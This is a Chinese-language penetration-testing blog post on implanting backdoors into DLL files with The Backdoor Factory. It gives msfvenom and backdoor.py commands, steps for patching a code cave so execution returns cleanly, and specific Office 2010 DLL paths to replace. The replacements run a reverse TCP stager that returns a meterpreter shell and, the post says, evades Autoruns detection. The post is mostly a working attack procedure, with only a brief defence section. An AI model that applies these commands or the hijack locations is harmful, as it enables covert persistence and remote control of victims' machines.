Good in study, attitude and health

利用BDF向DLL文件植入后门

0x00 前言


在之前的文章《利用BDF向EXE文件植入后门》介绍了使用The Backdoor Factory向EXE文件植入后门的方法,这次将要介绍向DLL文件植入后门的思路,演示一种DLL劫持的利用方法,总结该方法的特点,分析防御思路

0x01 简介


本文将要介绍以下内容:

  • 劫持自己的DLL,修复BUG
  • 劫持系统的DLL,绕过Autoruns的后门检测

0x02 利用思路


DLL同EXE文件的植入思路相同,也是通过修改程序的执行流程,跳转到Code Caves,执行payload,再返回至程序的正常流程

DLL同EXE文件最大的区别是多了导出函数的功能

在实现DLL劫持时,常常需要获得原DLL的导出函数,模拟导出函数,添加payload,实现利用

那么,The Backdoor Factory在DLL文件的后门植入上,是否要考虑导出函数呢?

下面进行测试,得出结论

0x03 编写程序进行测试


测试Dll testdll.dll:

#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		//MessageBox(NULL, NULL, NULL, 0);
		//Sleep(5000);
		printf("[+] DLL_PROCESS_ATTACH\n");
	case DLL_THREAD_ATTACH:
		printf("[+] DLL_THREAD_ATTACH\n");
	case DLL_THREAD_DETACH:
		printf("[+] DLL_THREAD_DETACH\n");
	case DLL_PROCESS_DETACH:
		printf("[+] DLL_PROCESS_DETACH\n");
		break;
	}
	return TRUE;
}

void Export1()
{
	printf("[+] Export1\n");
}

导出函数为Export1

Dll加载程序 loader.exe:

#include <windows.h> 
typedef void(*Export)();
int main(int argc, char* argv[])
{
	Export exporttest;
	printf("[*] LoadLibrary\n");
	HMODULE hDllLib = LoadLibrary("testdll.dll");
	exporttest=(Export)GetProcAddress(hDllLib ,"Export1");
	exporttest();
	Sleep(10000);
	FreeLibrary(hDllLib);
	printf("[*] FreeLibrary\n");
	return 0;
}

程序执行如下图,加载testdll.dll,调用导出函数Export1

Alt text

使用The Backdoor Factory为DLL文件添加后门:

msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin
./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a

再次执行loader.exe,测试如下图

Alt text

成功执行payload,但是改变了程序流程,无法正常返回FreeLibrary

需要对DLL进行调试,找到出错的原因

首先生成空的跳转模板:

./backdoor.py -f testdll.dll -s cave_miner_inline

选择.text

执行Loader.exe,程序一切正常,那么就是中间的payload出了问题

使用Immunity Debugger打开新的testdll.dll,找到劫持的位置,payload保存在0x10005716

如下图

Alt text

这里可以推测,payload只要能够保持堆栈平衡,那么就不会影响程序的正常执行

接下来,在0x10005716处填入我们的payload

可以使用CFF Explorer添加payload

首先定位payload起始点

PUSHAD
PUSHFD

对应的16进制代码为609C

在CFF Explorer中切换到Hex Editor视图,搜索609C,定位起始点0x0000571A

注:

通过Immunity Debugger获得的内存虚拟地址为0x1000571A,二者对应,位置正确

为了扩大payload空间,可以将后面的调整堆栈平衡代码整体后移

如下图

Alt text

Alt text

0x0005772-0x0000579E的数据整体后移,中间填入0x90

选中该部分内容,右键-Copy-Hex

找到合适的位置,右键-Fill With...

完整操作如下图

Alt text

依此方法,中间填入修改后的payload即可,完成Bug修复

通过Immunity Debugger查看DLL文件,可以看到The Backdoor Factory对DLL和EXE文件进行跳转劫持的位置一样

如下图

Alt text

得出结论:

对于DLL文件来说,劫持初始化部分造成的结果是在LoadLibrary时即可执行payload,如果想在程序加载DLL导出函数时执行payload,将跳转代码改到导出函数内即可

0x04 劫持系统的DLL


针对Office 2010,分享几个自己找到的DLL劫持利用位置

1、劫持Word-审阅试图

LOCALSVC.DLL,位于C:\Program Files\Common Files\microsoft shared\RRLoc14\

对该dll添加payload

./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded

替换dll(需要管理员权限),启动word.exe,切换至审阅视图,弹回meterpreter

测试如下图

Alt text

2、劫持word-插入-图片

tiptsf.dll,位于C:\Program Files\Common Files\microsoft shared\ink\

需要TrustedInstaller权限才能替换

关于如何获得TrustedInstaller权限,可参考文章《渗透技巧——Token窃取与利用》

3、劫持word-文件

也影响别的位置:

word -页面布局-主题-浏览主题

GrooveIntlResource.dll,位于C:\Program Files\Microsoft Office\Office14\2052

需要管理员权限

4、劫持Excel-插入-图片

MSPTLS.DLL,位于C:\Program Files\Common Files\microsoft shared\OFFICE14\

需要管理员权限

以上测试如下图

Alt text

注:

本节内容仅为了演示DLL劫持的一些利用方法,这些特殊的劫持位置只会在软件的特定功能打开时才会启动,所以能够绕过Autoruns的检测

0x05 防御


对于系统DLL,通过会带有微软签名,如果对DLL植入后门,签名会失效,这是一个老生常谈的问题

而对于第三方开发的软件,调用的第三方DLL不加签名,那么被利用的风险很大

0x06 小结


本文测试了使用The Backdoor Factory向DLL文件植入后门的方法,介绍修复BUG的思路,分享了一种DLL劫持的利用方法,仅供测试,通过总结该利用方法的特点,简要介绍了防御方面需要注意的问题


LEAVE A REPLY